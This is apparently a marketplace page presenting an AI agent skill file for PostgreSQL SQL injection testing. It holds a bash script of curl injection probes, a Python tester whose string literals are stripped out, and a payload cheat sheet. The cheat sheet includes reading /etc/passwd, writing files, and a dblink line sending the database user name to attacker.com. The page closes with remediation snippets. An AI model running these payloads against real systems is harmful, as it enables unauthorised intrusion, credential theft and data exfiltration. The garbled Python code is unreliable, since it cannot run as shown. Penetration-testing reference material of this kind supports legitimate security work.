Menu
Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.
Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.
Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-4O comando permanece em uma só linha. Role horizontalmente para revisá-lo antes de copiar.
Prefere uma cópia local? Baixe os arquivos disponíveis atualmente no SkillsMP.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Baseado na classificação ocupacional SOC
Exibindo SKILL.md
| name | wstg-inpv-05.4 |
| description | Testing for SQL Injection - PostgreSQL |
| category | input-validation |
| owasp_id | WSTG-INPV-05.4 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.4
Testing for SQL Injection - PostgreSQL
PostgreSQL-specific SQL injection testing exploits PostgreSQL's unique features including dollar-quoted strings, array operations, COPY command for file operations, and extension capabilities. PostgreSQL is common in modern web stacks and offers powerful features that can be exploited.
#!/bin/bash
TARGET="https://target.com/product?id="
echo "[*] Testing for PostgreSQL database..."
# Error-based detection
curl -s "${TARGET}'" | grep -iE "PostgreSQL|psql|Npgsql|PG::|pg_"
# PostgreSQL comment syntax
curl -s "${TARGET}1--"
curl -s "${TARGET}1/*comment*/"
# String concatenation (PostgreSQL uses ||)
curl -s "${TARGET}1'||'test"
# Version detection
curl -s "${TARGET}' UNION SELECT version()--"
# Cast error (PostgreSQL specific)
curl -s "${TARGET}1::int"
#!/usr/bin/env python3
"""
PostgreSQL SQL Injection Tester
"""
requests
re
time
:
():
.url = url
.findings = []
.session = requests.Session()
POSTGRESQL_ERRORS = [
,
,
,
,
,
,
,
,
,
,
,
]
POSTGRESQL_PAYLOADS = {
: [
,
,
,
,
],
: [
,
,
,
,
,
,
],
: [
(, ),
(, ),
(, ),
],
: [
,
,
,
,
,
],
: [
,
,
],
: [
,
,
],
}
():
()
detection_payloads = [
,
,
,
,
]
payload detection_payloads:
:
response = .session.get(.url, params={param: payload})
pattern .POSTGRESQL_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
response.text.lower():
()
Exception e:
():
()
payload .POSTGRESQL_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
re.search(, response.text, re.IGNORECASE):
()
version = re.search(, response.text)
version:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
start = time.time()
.session.get(.url, params={param: }, timeout=)
baseline = time.time() - start
payload .POSTGRESQL_PAYLOADS[]:
:
start = time.time()
.session.get(.url, params={param: payload}, timeout=)
response_time = time.time() - start
response_time > baseline + :
()
()
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
file_payloads = [
,
,
]
payload file_payloads:
:
response = .session.get(.url, params={param: payload})
response.text:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
.detect_postgresql(param):
.test_error_based(param)
.test_time_based(param)
.test_file_operations(param)
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
tester = PostgreSQLSQLiTester()
tester.run_tests(param=)
-- PostgreSQL Version
SELECT version()
-- Current User
SELECT current_user
SELECT user
SELECT session_user
-- Current Database
SELECT current_database()
-- List Databases
SELECT datname FROM pg_database
-- List Tables
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT table_name FROM information_schema.tables WHERE table_schema='public'
-- List Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Extract Data
SELECT username || ':' || password FROM users
-- Read Files (requires superuser or pg_read_server_files)
SELECT pg_read_file('/etc/passwd')
SELECT pg_read_file('/etc/passwd', 0, 1000)
-- Write Files (requires superuser or pg_write_server_files)
COPY (SELECT 'test') TO '/tmp/output.txt'
-- Command Execution (requires extension)
-- Load dblink extension: CREATE EXTENSION dblink;
-- Load pg_execute_server_program extension
-- Large Object for file operations
SELECT lo_import('/etc/passwd')
SELECT lo_get(loid) FROM pg_largeobject_metadata
-- DNS Exfiltration via dblink
SELECT * FROM dblink('host=attacker.com user=' || current_user || ' dbname=a', 'SELECT 1') RETURNS (i int)
| Tool | Purpose |
|---|---|
| SQLMap | Automated PostgreSQL SQLi |
| psql | PostgreSQL client |
| pgAdmin | GUI client |
| Burp Suite | Manual testing |
# Python - psycopg2 parameterized queries
import psycopg2
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
// Node.js - pg module
const { Pool } = require("pg")
const pool = new Pool()
pool.query("SELECT * FROM users WHERE id = $1", [userId])
| Finding | CVSS | Severity |
|---|---|---|
| PostgreSQL SQLi with superuser | 9.8 | Critical |
| PostgreSQL file read | 8.6 | High |
| PostgreSQL Blind SQLi | 8.6 | High |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
[ ] PostgreSQL database detected
[ ] Error-based injection tested
[ ] Time-based injection tested
[ ] File operations tested
[ ] Extension functions tested
[ ] Findings documented